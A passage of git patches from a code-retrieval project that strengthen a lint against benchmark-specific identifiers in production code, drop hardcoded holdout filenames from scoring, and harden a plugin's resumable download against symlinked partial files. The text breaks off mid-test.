Object.entries(markers ?? {}); + if ( + typeof markers !== "object" + || Array.isArray(markers) + || counts.length === 0 + || counts.some(([, count]) => !Number.isInteger(count) || count < 1) + ) { console.error(`lint-retrieval-generalization: invalid pending entry for ${file}`); process.exit(2); } - surfaces.set(path.resolve(repoRoot, file), new Set(markers)); + surfaces.set(path.resolve(repoRoot, file), new Map(counts)); } return surfaces; } -function pendingSurfaceCovers(filePath, marker) { +function pendingSurfaceCovers(filePath, marker, hitCount) { const markers = pendingSurfaces.get(path.resolve(filePath)); - if (!markers?.has(marker)) { + const recorded = markers?.get(marker); + if (recorded === undefined) { return false; } - observedPendingSurfaces.add(`${path.resolve(filePath)}${marker}`); - return true; + observedPendingSurfaces.set(pendingSurfaceKey(path.resolve(filePath), marker), hitCount); + return hitCount <= recorded; +} + +function pendingSurfaceKey(filePath, marker) { + return `${filePath} :: ${marker}`; } function stalePendingSurfaces() { @@ -2121,15 +2199,102 @@ function stalePendingSurfaces() { } const stale = []; for (const [filePath, markers] of pendingSurfaces) { - for (const marker of markers) { - if (!observedPendingSurfaces.has(`${filePath}${marker}`)) { - stale.push(`${path.relative(repoRoot, filePath)}: ${marker}`); + for (const [marker, recorded] of markers) { + const observed = observedPendingSurfaces.get(pendingSurfaceKey(filePath, marker)); + if (observed === undefined) { + stale.push(`${path.relative(repoRoot, filePath)}: ${marker} (recorded ${recorded}, no longer matches)`); + continue; + } + if (observed !== recorded) { + stale.push( + `${path.relative(repoRoot, filePath)}: ${marker} (recorded ${recorded}, tree has ${observed})`, + ); } } } return stale.sort(); } +// A vocabulary table is the shape the v0.16.1 audit found: a run of bare word +// literals that term extraction compares the question against. Individually +// those words are ordinary -- `storage`, `posts`, `exec cli` -- so no ban list +// can catch them; together, in a file that decides which words become queries, +// they are a repository's domain written into this crate. +function scanVocabularyTable(prepared) { + if (!vocabularyTableFileNames.has(path.basename(prepared.filePath))) { + return []; + } + const exemptLines = vocabularyTableExemptLines(prepared.lines); + const entries = []; + for (const [index, line] of prepared.lines.entries()) { + if (exemptLines.has(index)) { + continue; + } + for (const literal of staticStringLiteralsOnLine(line)) { + const content = staticStringLiteralContent(literal); + if (literalIsBareVocabulary(content)) { + entries.push({ line: index + 1, content: content.toLowerCase() }); + } + } + } + for (const [index, entry] of entries.entries()) { + const window = new Set(); + for (const candidate of entries.slice(index)) { + if (candidate.line - entry.line >= vocabularyTableWindowLines) { + break; + } + window.add(candidate.content); + } + if (window.size >= vocabularyTableLiteralFloor) { + return [ + `${prepared.filePath}:${entry.line}: ${window.size} bare word literals within ` + + `${vocabularyTableWindowLines} lines name a vocabulary, not a question: ` + + `${[...window].sort().join(", ")}`, + ]; + } + } + return []; +} + +// Only the declaration is exempt, never a mention of the constant's name: a +// planted table that happens to sit after `if SEARCH_PLAN_STOPWORDS.contains(..)` +// must not inherit the exemption. +function vocabularyTableExemptLines(lines) { + const exempt = new Set(); + let open = false; + for (const [index, line] of lines.entries()) { + if ( + !open + && /=\s*&\[/.test(line) + && vocabularyTableExemptConstants.some((name) => line.includes(name)) + ) { + open = true; + } + if (open) { + exempt.add(index); + if (line.includes("];")) { + open = false; + } + } + } + return exempt; +} + +// Words and short phrases only. A snake_case tag, a path, or a sentence is +// something other than vocabulary: reasons, roles, and prose instructions all +// have to keep their literals. +function literalIsBareVocabulary(content) { + if (typeof content !== "string") { + return false; + } + const words = content.trim().split(/[ -]+/); + return ( + content.trim().length >= 3 + && words.length <= 3 + && words.every((word) => /^[A-Za-z][A-Za-z0-9]*$/.test(word)) + ); +} + function scanRankerFilenameLiterals(prepared) { const lines = prepared.lines; const hits = []; @@ -2144,7 +2309,7 @@ function scanRankerFilenameLiterals(prepared) { let failed = false; const pendingSurfaces = loadPendingSurfaces(); -const observedPendingSurfaces = new Set(); +const observedPendingSurfaces = new Map(); const scanFiles = new Set(productionOnlyFiles); for (const root of scanDirs) { @@ -2181,7 +2346,7 @@ for (const filePath of [...scanFiles].sort()) { ); for (const { pattern } of bannedRegexPatterns) { const hits = productionHits.get(pattern) ?? []; - if (hits.length > 0 && !pendingSurfaceCovers(filePath, pattern)) { + if (hits.length > 0 && !pendingSurfaceCovers(filePath, pattern, hits.length)) { console.error( `Banned pattern /${pattern}/ in ${path.relative(repoRoot, filePath)} (production slice):\n${hits.join("\n")}\n`, ); @@ -2190,7 +2355,7 @@ for (const filePath of [...scanFiles].sort()) { } for (const { pattern, re } of bannedLiteralRegexPatterns) { const hits = scanProductionStringLiterals(prepared, pattern, re); - if (hits.length > 0 && !pendingSurfaceCovers(filePath, pattern)) { + if (hits.length > 0 && !pendingSurfaceCovers(filePath, pattern, hits.length)) { console.error( `Banned literal pattern /${pattern}/ in ${path.relative(repoRoot, filePath)} (production slice):\n${hits.join("\n")}\n`, ); @@ -2199,7 +2364,7 @@ for (const filePath of [...scanFiles].sort()) { } for (const pattern of bannedCompactPatterns) { const hits = scanProductionCompactPatterns(prepared, pattern); - if (hits.length > 0 && !pendingSurfaceCovers(filePath, pattern)) { + if (hits.length > 0 && !pendingSurfaceCovers(filePath, pattern, hits.length)) { console.error( `Banned compact benchmark marker /${pattern}/ in ${path.relative(repoRoot, filePath)} (production slice):\n${hits.join("\n")}\n`, ); @@ -2216,6 +2381,13 @@ for (const filePath of [...scanFiles].sort()) { failed = true; } } + const vocabularyTableHits = scanVocabularyTable(prepared); + if (vocabularyTableHits.length > 0) { + console.error( + `Term vocabulary table in ${path.relative(repoRoot, filePath)} (production slice):\n${vocabularyTableHits.join("\n")}\n`, + ); + failed = true; + } } const corpusRegexPatterns = evalCorpusBoundaryPatternList.map((pattern) => ({ @@ -2318,7 +2490,7 @@ for (const filePath of [...protectedNonRustScanFiles].sort()) { const stalePending = stalePendingSurfaces(); if (stalePending.length > 0) { console.error( - `Pending benchmark-family surfaces no longer match; delete them from ${path.relative(repoRoot, pendingSurfacePath)}:\n${stalePending.join("\n")}\n`, + `Pending benchmark-family surfaces no longer match the tree; correct or delete them in ${path.relative(repoRoot, pendingSurfacePath)}:\n${stalePending.join("\n")}\n`, ); failed = true; } diff --git a/scripts/retrieval-generalization-pending.json b/scripts/retrieval-generalization-pending.json index bfd8cd949..b4a05f158 100644 --- a/scripts/retrieval-generalization-pending.json +++ b/scripts/retrieval-generalization-pending.json @@ -1,171 +1,206 @@ { - "note": "Benchmark-family surfaces the v0.16.1 generalization audit found in agent packet code. They are recorded, not excused: the lint fails on any banned corpus marker outside this inventory, and fails again when an entry here stops matching, so deleting the surface must delete its entry.", + "note": "Benchmark-family surfaces the v0.16.1 generalization audit found in agent packet code, with the number of production lines each marker occupies today. They are recorded, not excused: the lint fails on any banned corpus marker outside this inventory, on one more occurrence of a marker inside it, and on any entry that stops matching, so growing or deleting one of these surfaces must edit this file.", "surfaces": { - "crates/codestory-runtime/src/agent/orchestrator.rs": [ - "RouterGroup", - "TypeMap", - "addRoute", - "mapperconfiguration" - ], - "crates/codestory-runtime/src/agent/packet_capping.rs": [ - "runmain" - ], - "crates/codestory-runtime/src/agent/packet_claim_profiles.rs": [ - "RouterGroup", - "TypeMap", - "addRecord", - "addRoute", - "addrecord", - "addrecordcreatesalogrecordbeforepassingittohandlers", - "addroute", - "addurlrule", - "callexecutesthecommandprocandhandlespropagationmonitoringandslowlogaccounting", - "dispatchrequest", - "formatargstore", - "fulldispatchrequest", - "isBlank", - "isEmpty", - "pushHandler", - "regionMatches", - "routergroup", - "searchworker", - "typemap", - "wsgiapp" - ], - "crates/codestory-runtime/src/agent/packet_command_profiles.rs": [ - "run_main", - "runmain" - ], - "crates/codestory-runtime/src/agent/packet_evidence_roles.rs": [ - "run_main" - ], - "crates/codestory-runtime/src/agent/packet_flow_requirements.rs": [ - "mapperconfiguration", - "sessionrequest" - ], - "crates/codestory-runtime/src/agent/packet_plan.rs": [ - "dispatchrequest", - "dynamicformatargstore", - "formatargstore", - "interceptormanager", - "isBlank", - "isEmpty", - "isblank", - "isempty", - "mapperconfiguration", - "regionMatches", - "regionmatches", - "routergroup", - "sessionrequest", - "sessionsend", - "siteread", - "siterender", - "sitewrite", - "wsgiapp" - ], - "crates/codestory-runtime/src/agent/packet_required_probes.rs": [ - "RouterGroup", - "TypeMap", - "_vars\\.css", - "addRecord", - "addRoute", - "addrecord", - "addroute", - "dynamicformatargstore", - "formatargstore", - "formvalidation", - "mapperconfiguration", - "persistentstorage", - "routergroup", - "sessionrequest", - "sessionsend", - "storageaccess", - "typemap", - "wsgiapp" - ], - "crates/codestory-runtime/src/agent/packet_scoring.rs": [ - "CreateMapperLambda", - "IMapper", - "IOClient", - "Logger\\.php", - "Mapper\\.cs", - "TypeMap", - "TypeMap\\.cs", - "addRecord", - "addrecord", - "addurlrule", - "animated", - "animatedelay", - "animateduration", - "attention_seekers", - "attentionseekers", - "baseclient", - "baserequest", - "client\\.dart", - "clientdart", - "createmapperlambda", - "dispatchrequest", - "dynamicformatargstore", - "formatargstore", - "fulldispatchrequest", - "imapper", - "io_client\\.dart", - "ioclientdart", - "ioclientsend", - "isBlank", - "isEmpty", - "isblank", - "isempty", - "loggerphp", - "mappercs", - "mappermap", - "pushHandler", - "pushhandler", - "regionMatches", - "regionmatches", - "requestresume", - "response\\.dart", - "responsedart", - "sansio/scaffold\\.py", - "sansioscaffoldpy", - "scaffold\\.py", - "sessionrequest", - "typemap", - "typemapcs", - "wsgiapp" - ], - "crates/codestory-runtime/src/agent/packet_sufficiency.rs": [ - "TypeMap", - "addRecord", - "addrecord", - "bashcompletion", - "dispatchrequest", - "fulldispatchrequest", - "installsh", - "isBlank", - "isEmpty", - "isblank", - "isempty", - "pushHandler", - "pushhandler", - "regionMatches", - "regionmatches", - "requestresume", - "sessionrequest", - "siteprocess", - "sitewrite", - "typemap", - "wsgiapp" - ], - "crates/codestory-runtime/src/agent/packet_terms.rs": [ - "(?:^|[^A-Za-z0-9_])express(?![A-Za-z0-9_])", - "RouterGroup", - "TypeMap", - "animatecss", - "animated", - "express", - "routergroup", - "typemap" - ] + "crates/codestory-runtime/src/agent/orchestrator.rs": { + "FOREIGN KEY": 5, + "RouterGroup": 1, + "TypeMap": 2, + "addRoute": 1, + "mapperconfiguration": 1 + }, + "crates/codestory-runtime/src/agent/packet_capping.rs": { + "event_processor": 1, + "eventprocessor": 1, + "runmain": 1 + }, + "crates/codestory-runtime/src/agent/packet_claim_profiles.rs": { + "RouterGroup": 1, + "TypeMap": 3, + "addRecord": 3, + "addRoute": 1, + "addrecord": 1, + "addrecordcreatesalogrecordbeforepassingittohandlers": 1, + "addroute": 1, + "addurlrule": 1, + "callexecutesthecommandprocandhandlespropagationmonitoringandslowlogaccounting": 1, + "dispatchrequest": 4, + "formatargstore": 3, + "formaterror": 1, + "formatto": 3, + "fulldispatchrequest": 2, + "isBlank": 3, + "isEmpty": 3, + "pushHandler": 1, + "regionMatches": 1, + "routergroup": 1, + "searchworker": 1, + "typemap": 2, + "wsgiapp": 1 + }, + "crates/codestory-runtime/src/agent/packet_claims.rs": { + "SourceGroup": 1, + "foreignkey": 1, + "json_output": 2 + }, + "crates/codestory-runtime/src/agent/packet_command_profiles.rs": { + "run_main": 10, + "runmain": 2 + }, + "crates/codestory-runtime/src/agent/packet_evidence_roles.rs": { + "IndexerCommand": 1, + "SourceGroup": 5, + "buildIndex": 1, + "event_processor": 2, + "run_main": 1, + "source_group": 1 + }, + "crates/codestory-runtime/src/agent/packet_flow_requirements.rs": { + "FOREIGN KEY": 1, + "format_error": 1, + "formaterror": 1, + "mapperconfiguration": 1, + "sessionrequest": 1 + }, + "crates/codestory-runtime/src/agent/packet_plan.rs": { + "FOREIGN KEY": 3, + "dispatchrequest": 1, + "dynamicformatargstore": 1, + "formatargstore": 1, + "interceptormanager": 1, + "isBlank": 1, + "isEmpty": 1, + "isblank": 1, + "isempty": 1, + "mapperconfiguration": 2, + "regionMatches": 4, + "regionmatches": 1, + "routergroup": 2, + "sessionrequest": 1, + "sessionsend": 1, + "siteread": 1, + "siterender": 1, + "sitewrite": 1, + "wsgiapp": 1 + }, + "crates/codestory-runtime/src/agent/packet_required_probes.rs": { + "FOREIGN KEY": 2, + "RouterGroup": 1, + "TypeMap": 1, + "_vars\\.css": 2, + "addRecord": 1, + "addRoute": 3, + "addrecord": 1, + "addroute": 1, + "buildindex": 1, + "dynamicformatargstore": 1, + "foreignkey": 7, + "formatargstore": 1, + "formvalidation": 1, + "mapperconfiguration": 2, + "persistentstorage": 1, + "routergroup": 3, + "sessionrequest": 1, + "sessionsend": 1, + "storageaccess": 1, + "typemap": 2, + "wsgiapp": 1 + }, + "crates/codestory-runtime/src/agent/packet_scoring.rs": { + "CreateMapperLambda": 1, + "IMapper": 1, + "IOClient": 1, + "Logger\\.php": 1, + "Mapper\\.cs": 1, + "TypeMap": 2, + "TypeMap\\.cs": 1, + "addRecord": 1, + "addrecord": 1, + "addurlrule": 1, + "animated": 2, + "animatedelay": 2, + "animateduration": 2, + "attention_seekers": 1, + "attentionseekers": 1, + "baseclient": 1, + "baserequest": 1, + "client\\.dart": 2, + "clientdart": 1, + "createmapperlambda": 1, + "dispatchrequest": 2, + "dynamicformatargstore": 1, + "foreignkey": 2, + "formatargstore": 1, + "formaterror": 1, + "formatto": 1, + "fulldispatchrequest": 1, + "imapper": 1, + "io_client\\.dart": 1, + "ioclientdart": 1, + "ioclientsend": 1, + "isBlank": 1, + "isEmpty": 1, + "isblank": 1, + "isempty": 1, + "loggerphp": 1, + "mappercs": 1, + "mappermap": 1, + "pushHandler": 1, + "pushhandler": 1, + "regionMatches": 1, + "regionmatches": 1, + "requestresume": 1, + "response\\.dart": 1, + "responsedart": 1, + "sansio/scaffold\\.py": 1, + "sansioscaffoldpy": 2, + "scaffold\\.py": 1, + "sessionrequest": 2, + "typemap": 2, + "typemapcs": 1, + "wsgiapp": 1 + }, + "crates/codestory-runtime/src/agent/packet_source_patterns.rs": { + "FOREIGN KEY": 2, + "foreignkey": 2 + }, + "crates/codestory-runtime/src/agent/packet_sufficiency.rs": { + "SourceGroup": 1, + "TypeMap": 2, + "addRecord": 3, + "addrecord": 3, + "bashcompletion": 1, + "dispatchrequest": 4, + "foreignkey": 2, + "formaterror": 2, + "formatto": 2, + "fulldispatchrequest": 2, + "installsh": 1, + "internalMutate": 2, + "internalmutate": 2, + "isBlank": 1, + "isEmpty": 1, + "isblank": 1, + "isempty": 1, + "pushHandler": 2, + "pushhandler": 2, + "regionMatches": 3, + "regionmatches": 3, + "requestresume": 1, + "sessionrequest": 1, + "siteprocess": 1, + "sitewrite": 1, + "typemap": 1, + "wsgiapp": 2 + }, + "crates/codestory-runtime/src/agent/packet_terms.rs": { + "RouterGroup": 1, + "TypeMap": 2, + "animatecss": 1, + "animated": 1, + "format_to": 1, + "formatto": 1, + "routergroup": 1, + "typemap": 1 + } } } From e52b99e4ccffd7671d98536eba149472f1fa339c Mon Sep 17 00:00:00 2001 From: Albert Najjar Date: Tue, 28 Jul 2026 04:24:30 -0500 Subject: [PATCH 017/132] put architecture coverage scoring under the corpus scan `architecture_coverage_for_hit` and the window swap it feeds are production, and they hardcode /exec/src/cli.rs, source_group configuration keys, /content-data/ post and comment surfaces, and a storage-access proxy path -- the same four holdout repositories the deleted term injection was written for. Deleting that scoring belongs to the packet-code lane, but until then nothing stopped it growing, because the file sat outside every scan root the lint knows. Scanning it records those seventeen markers with their line counts like every other pending surface: the code cannot acquire another one, and removing it has to remove the entry. Co-Authored-By: Claude Opus 5 --- scripts/lint-retrieval-generalization.mjs | 1 + scripts/retrieval-generalization-pending.json | 21 ++++++++++++++++++- 2 files changed, 21 insertions(+), 1 deletion(-) diff --git a/scripts/lint-retrieval-generalization.mjs b/scripts/lint-retrieval-generalization.mjs index a85edde5f..f736da881 100644 --- a/scripts/lint-retrieval-generalization.mjs +++ b/scripts/lint-retrieval-generalization.mjs @@ -223,6 +223,7 @@ const productVocabularyRoots = [ // the corpus scan. const requiredProductionOnlyFiles = [ path.join(repoRoot, "crates", "codestory-runtime", "src", "search_plan.rs"), + path.join(repoRoot, "crates", "codestory-runtime", "src", "search_scoring.rs"), path.join(repoRoot, "crates", "codestory-runtime", "src", "search_terms.rs"), ]; diff --git a/scripts/retrieval-generalization-pending.json b/scripts/retrieval-generalization-pending.json index b4a05f158..1d9dbf2c4 100644 --- a/scripts/retrieval-generalization-pending.json +++ b/scripts/retrieval-generalization-pending.json @@ -1,5 +1,5 @@ { - "note": "Benchmark-family surfaces the v0.16.1 generalization audit found in agent packet code, with the number of production lines each marker occupies today. They are recorded, not excused: the lint fails on any banned corpus marker outside this inventory, on one more occurrence of a marker inside it, and on any entry that stops matching, so growing or deleting one of these surfaces must edit this file.", + "note": "Benchmark-family surfaces the v0.16.1 generalization audit found in agent packet code and in architecture coverage scoring, with the number of production lines each marker occupies today. They are recorded, not excused: the lint fails on any banned corpus marker outside this inventory, on one more occurrence of a marker inside it, and on any entry that stops matching, so growing or deleting one of these surfaces must edit this file.", "surfaces": { "crates/codestory-runtime/src/agent/orchestrator.rs": { "FOREIGN KEY": 5, @@ -201,6 +201,25 @@ "formatto": 1, "routergroup": 1, "typemap": 1 + }, + "crates/codestory-runtime/src/search_scoring.rs": { + "Project\\.cpp": 1, + "SourceGroup": 1, + "buildindex": 1, + "content-data": 3, + "contentdata": 3, + "event_processor": 2, + "eventprocessor": 2, + "indexercommandcxx": 1, + "indexerjava": 1, + "persistentstorage": 1, + "projectbuildindex": 1, + "projectcpp": 1, + "social_entries": 1, + "socialentries": 1, + "source_group": 2, + "storageaccess": 2, + "storageaccessproxy": 1 } } } From 1d2738dd0884e0ee03c507cfff4d99e61fc673cd Mon Sep 17 00:00:00 2001 From: Albert Najjar Date: Tue, 28 Jul 2026 07:48:35 -0500 Subject: [PATCH 018/132] stop steering dense anchors by benchmark filenames semantic_file_is_package_callable_surface ended in a list of ten literal file names - gin.go, nvm.sh, application.js and the rest - which are the top-level entry files of the holdout repositories. That is benchmark shape in a production path: it makes those repositories score well without making anyone else's code score correctly. The path markers above it stay, because /lib/, /src/ and /routes/ describe how packages are laid out rather than which repository is being measured. The generalization lint also derived bans from a task whose subject is this repository, so RefreshMode - a codestory-workspace type - and our own crate paths were banned from our own product. A task about CodeStory now contributes only its benchmark-specific parts, and a test covers both ways that rule can fail silently: under-firing bans our symbols, over-firing disables the lint for a whole holdout repository. Co-Authored-By: Claude Opus 5 --- .../src/semantic_projection.rs | 13 ---- scripts/lint-retrieval-generalization.mjs | 53 ++++++++++---- .../lint-retrieval-generalization.test.mjs | 70 +++++++++++++++++++ 3 files changed, 109 insertions(+), 27 deletions(-) create mode 100644 scripts/tests/lint-retrieval-generalization.test.mjs diff --git a/crates/codestory-runtime/src/semantic_projection.rs b/crates/codestory-runtime/src/semantic_projection.rs index 9be5117b0..ab5d0419a 100644 --- a/crates/codestory-runtime/src/semantic_projection.rs +++ b/crates/codestory-runtime/src/semantic_projection.rs @@ -2007,19 +2007,6 @@ pub(super) fn semantic_file_is_package_callable_surface(path: Option<&str>) -> b || normalized.contains("/controllers/") || normalized.contains("/middleware/") || normalized.contains("/sources/") - || matches!( - file_name, - "application.js" - | "context.go" - | "gin.go" - | "http.dart" - | "nvm.sh" - | "request.js" - | "response.js" - | "routergroup.go" - | "sessions.py" - | "tree.go" - ) } pub(super) fn semantic_doc_is_documented_nontrivial(doc_text: &str) -> bool { diff --git a/scripts/lint-retrieval-generalization.mjs b/scripts/lint-retrieval-generalization.mjs index ad99e6186..bf05381fc 100644 --- a/scripts/lint-retrieval-generalization.mjs +++ b/scripts/lint-retrieval-generalization.mjs @@ -13,6 +13,13 @@ import { fileURLToPath } from "node:url"; import { sourcetrailQueries } from "./cross-repo-sourcetrail-queries.mjs"; const repoRoot = path.resolve(path.dirname(fileURLToPath(import.meta.url)), ".."); + +/// Slugs that identify this repository as a benchmark subject. Kept explicit rather +/// than read from a git remote so the lint is deterministic in a detached CI checkout. +const SELF_REPOSITORY_SLUGS = new Set([ + "thegreencedar/codestory", + "codestory", +]); const extraScanRoots = ( process.env.CODESTORY_RETRIEVAL_GENERALIZATION_EXTRA_SCAN_ROOTS ?? "" ) @@ -476,21 +483,27 @@ function benchmarkManifestDerivedPatterns() { for (const task of benchmarkManifestTasks(manifest)) { parsedTaskCount += 1; addSpecificMarker(markers, task.id); - addRepoMarkers(markers, task.repo); addSpecificMarker(markers, task.prompt, { allowExactPhrase: true }); - for (const expectedFile of task.expected_files ?? []) { - addSpecificMarker(markers, expectedFile, { allowSpecificComposite: true }); - } - for (const expectedFile of task.expected_verification_files ?? []) { - addSpecificMarker(markers, expectedFile, { allowSpecificComposite: true }); - } - for (const symbol of task.expected_symbols ?? []) { - if (typeof symbol === "string") { - addSpecificMarker(markers, symbol); - } else { - addSpecificMarker(markers, symbol?.name); - addSpecificMarker(markers, symbol?.qualified_name, { allowSpecificComposite: true }); - addSpecificMarker(markers, symbol?.path, { allowSpecificComposite: true }); + // A task whose subject is this repository names our own symbols and paths. + // Banning those would forbid the product from containing itself, so only its + // benchmark-specific parts (id, prompt, claims) contribute markers. + const subjectIsSelf = taskSubjectIsThisRepository(task.repo); + if (!subjectIsSelf) { + addRepoMarkers(markers, task.repo); + for (const expectedFile of task.expected_files ?? []) { + addSpecificMarker(markers, expectedFile, { allowSpecificComposite: true }); + } + for (const expectedFile of task.expected_verification_files ?? []) { + addSpecificMarker(markers, expectedFile, { allowSpecificComposite: true }); + } + for (const symbol of task.expected_symbols ?? []) { + if (typeof symbol === "string") { + addSpecificMarker(markers, symbol); + } else { + addSpecificMarker(markers, symbol?.name); + addSpecificMarker(markers, symbol?.qualified_name, { allowSpecificComposite: true }); + addSpecificMarker(markers, symbol?.path, { allowSpecificComposite: true }); + } } } for (const claim of task.expected_claims ?? []) { @@ -689,6 +702,18 @@ function benchmarkManifestTasks(manifest) { return []; } +/// A task manifest may name this repository as its subject: the readme-with-without +/// suite asks CodeStory questions about CodeStory. Its expected symbols and paths are +/// then our own product identifiers by construction, so deriving bans from them makes +/// the product illegal to itself - `RefreshMode` is a codestory-workspace type, and +/// `crates/.../lib.rs` is where our code lives. Only the benchmark-specific parts of +/// such a task (its id, prompt, and claim texts) remain bannable. +function taskSubjectIsThisRepository(repo) { + return repoUrlSlugs(repo?.url) + .concat(typeof repo?.name === "string" ? [repo.name] : []) + .some((slug) => SELF_REPOSITORY_SLUGS.has(slug.trim().toLowerCase())); +} + function addRepoMarkers(markers, repo) { addSpecificMarker(markers, repo?.name); for (const slug of repoUrlSlugs(repo?.url)) { diff --git a/scripts/tests/lint-retrieval-generalization.test.mjs b/scripts/tests/lint-retrieval-generalization.test.mjs new file mode 100644 index 000000000..35312fe5f --- /dev/null +++ b/scripts/tests/lint-retrieval-generalization.test.mjs @@ -0,0 +1,70 @@ +// The generalization lint bans benchmark identifiers from production. Its corpus is +// derived from benchmarks/tasks/**, which includes tasks whose subject is this +// repository - those name our own symbols, so they must not become bans. The rule +// that excludes them can fail in two directions, and both are silent: under-firing +// makes the product illegal to itself, over-firing disables the lint for a whole +// holdout repository. + +import assert from "node:assert/strict"; +import { execFileSync } from "node:child_process"; +import path from "node:path"; +import test from "node:test"; +import { fileURLToPath } from "node:url"; + +const repositoryRoot = path.resolve( + path.dirname(fileURLToPath(import.meta.url)), + "../..", +); + +/// Run the lint over one directory and return every banned pattern it reported. +function bannedPatternsOver(scanRoot) { + let output; + try { + output = execFileSync( + process.execPath, + [path.join(repositoryRoot, "scripts/lint-retrieval-generalization.mjs")], + { + cwd: repositoryRoot, + encoding: "utf8", + env: { + ...process.env, + CODESTORY_RETRIEVAL_GENERALIZATION_SCAN_ROOTS: scanRoot, + }, + }, + ); + } catch (error) { + // A failing lint still prints its findings; the exit code is the point. + output = `${error.stdout ?? ""}${error.stderr ?? ""}`; + } + return new Set( + [...output.matchAll(/Banned pattern \/(.+?)\/ in/gu)].map((match) => match[1]), + ); +} + +test("a task about this repository cannot ban this repository's own symbols", () => { + // RefreshMode is a codestory-workspace product type. It reaches the corpus only + // through readme-with-without/codestory-index-refresh-mode.task.json, whose subject + // is CodeStory itself, so banning it would forbid the product from naming its own + // API - which is what happened before the self-subject rule existed. + const banned = bannedPatternsOver("crates/codestory-runtime/src"); + for (const own of ["RefreshMode", "crates"]) { + assert.ok( + ![...banned].some((pattern) => pattern.includes(own)), + `${own} is a CodeStory identifier and must not be banned, got: ${[...banned].join(", ")}`, + ); + } +}); + +test("tasks about other repositories still ban their symbols", () => { + // The guard against over-firing: if the self-subject rule ever matched every task, + // the lint would report nothing and pass silently. These come from foreign holdout + // manifests and must survive. + const banned = bannedPatternsOver("crates/codestory-runtime/src"); + assert.ok(banned.size > 0, "the lint reported no banned patterns at all"); + for (const foreign of ["TicTacToe", "createServer"]) { + assert.ok( + [...banned].some((pattern) => pattern.includes(foreign)), + `${foreign} belongs to a holdout repository and must stay banned, got: ${[...banned].join(", ")}`, + ); + } +}); From 6d4dcc2f9066b84169decc40adb44f4382d9096e Mon Sep 17 00:00:00 2001 From: Albert Najjar Date: Tue, 28 Jul 2026 08:37:50 -0500 Subject: [PATCH 019/132] refuse a symlinked download partial and key retention on cli identity The `.part` file is the one attacker-reachable name in the provisioning path. It was sized with `stat`, so a symlink planted there reported the target's length and the transfer resumed by appending release bytes straight through the link, outside the managed cache. Size it with `lstat`, drop anything that is not a regular file, and open it through an explicit no-follow descriptor so the write is refused even when the link is planted after the stat. Managed-CLI retention compared the running CLI's probed version against the plugin version. Those are the same string only when a release moves both, so every plugin-only release looked like an active-version mismatch and silently switched pruning off for the whole release. Compare CLI identity at both sites instead. --- plugins/codestory/scripts/codestory-mcp.cjs | 47 +++++- .../codestory/tests/plugin-static.test.mjs | 137 ++++++++++++++++++ 2 files changed, 179 insertions(+), 5 deletions(-) diff --git a/plugins/codestory/scripts/codestory-mcp.cjs b/plugins/codestory/scripts/codestory-mcp.cjs index 41eacaa53..b58e18aed 100644 --- a/plugins/codestory/scripts/codestory-mcp.cjs +++ b/plugins/codestory/scripts/codestory-mcp.cjs @@ -631,7 +631,26 @@ function downloadFileOnce(url, destination, options = {}) { callback(null, chunk); }, }); - output = fs.createWriteStream(destination, appendFrom > 0 ? { flags: 'a' } : { flags: 'w' }); + // Open the partial through an explicit no-follow descriptor rather than by path. The stat that + // chose `appendFrom` happened earlier, so a symlink planted in between would otherwise still be + // followed here; refusing the open keeps every provisioning byte inside the managed cache. + let partialFd; + try { + partialFd = fs.openSync( + destination, + fs.constants.O_WRONLY | fs.constants.O_CREAT | + (appendFrom > 0 ? fs.constants.O_APPEND : fs.constants.O_TRUNC) | + (fs.constants.O_NOFOLLOW || 0), + ); + } catch (error) { + response.resume(); + finish(downloadError( + 'partial_open', + `download_partial_open_failed:${error?.code || 'unknown'}`, + )); + return; + } + output = fs.createWriteStream(destination, { fd: partialFd }); pipeline(response, limiter, output, (error) => finish(error || null)); }; // Only pass a request-options object when a Range header is actually needed: the two-argument @@ -666,13 +685,24 @@ function publishDownloadedFile(partialPath, destination) { } } +// The partial is the one attacker-reachable name in the provisioning path, so it is measured with +// `lstat`: a symlink planted there would otherwise report the target's size and make the transfer +// resume *through* the link into a file outside the managed cache. Anything that is not a regular +// file can never be resumed, so it is dropped and the transfer restarts from zero. function partialDownloadBytes(partialPath) { + let metadata = null; try { - const metadata = fs.statSync(partialPath); - return metadata.isFile() ? metadata.size : 0; + metadata = fs.lstatSync(partialPath); } catch { return 0; } + if (metadata.isFile()) return metadata.size; + try { + fs.rmSync(partialPath, { force: true }); + } catch { + // Best effort. The no-follow open below is what actually refuses to write through the link. + } + return 0; } // Downloads into `.part` and only publishes `destination` once the transfer @@ -1521,6 +1551,7 @@ const downloadFailureKinds = new Set([ 'transport', 'range', 'redirect', + 'partial_open', 'network', ]); @@ -1577,6 +1608,7 @@ function managedCliDownloadHint(context, code) { return `The release download was blocked because it was not served over HTTPS. ${manualInstallHint}`; case 'range': case 'redirect': + case 'partial_open': return 'The release download could not be resumed and was reset. Retry the tool to start it again.'; default: return null; @@ -2462,13 +2494,18 @@ function managedCliRetentionReportUnlocked(resolved, probe, options = {}) { reportUnverifiedManagedCliInventory(report, inventory.entries, 'active_unverified'); return report; } - if (probe.version !== resolved.version) { + // Retention is keyed on CLI identity, not plugin identity. The probe reports the CLI's own version + // and the cache is laid out by CLI version, so comparing either against `resolved.version` (the + // plugin's version) disables retention outright on every plugin-only release, where the plugin + // moves ahead of the pinned CLI. + const activeCliVersion = resolved.cliVersion || resolved.version; + if (probe.version !== activeCliVersion) { report.warnings.push('managed_cli_retention_active_version_mismatch'); reportUnverifiedManagedCliInventory(report, inventory.entries, 'active_version_mismatch'); return report; } - const active = inventory.entries.find((entry) => entry.version === resolved.version); + const active = inventory.entries.find((entry) => entry.version === activeCliVersion); if (!active) { report.warnings.push('managed_cli_retention_active_directory_missing'); reportUnverifiedManagedCliInventory(report, inventory.entries, 'active_directory_missing'); diff --git a/plugins/codestory/tests/plugin-static.test.mjs b/plugins/codestory/tests/plugin-static.test.mjs index 3a9ac6f09..5732cc207 100644 --- a/plugins/codestory/tests/plugin-static.test.mjs +++ b/plugins/codestory/tests/plugin-static.test.mjs @@ -1476,6 +1476,49 @@ test("managed cli retention keeps active plus a verified adjacent version", asyn } }); +// A plugin-only release moves the plugin version without moving the pinned CLI version, which is the +// normal state of the plugin lane. Retention must key on CLI identity: comparing the running CLI's +// probe against the plugin version made every such release look like an active-version mismatch and +// silently switched managed-CLI pruning off for the whole release. +test("managed cli retention keeps pruning when the plugin version leads the cli version", async () => { + const dataDir = await mkdtemp(join(tmpdir(), "codestory-managed-retention-skew-")); + try { + const stale = await writeManagedCliFixture(dataDir, "0.15.9"); + const rollback = await writeManagedCliFixture(dataDir, "0.16.0"); + const active = await 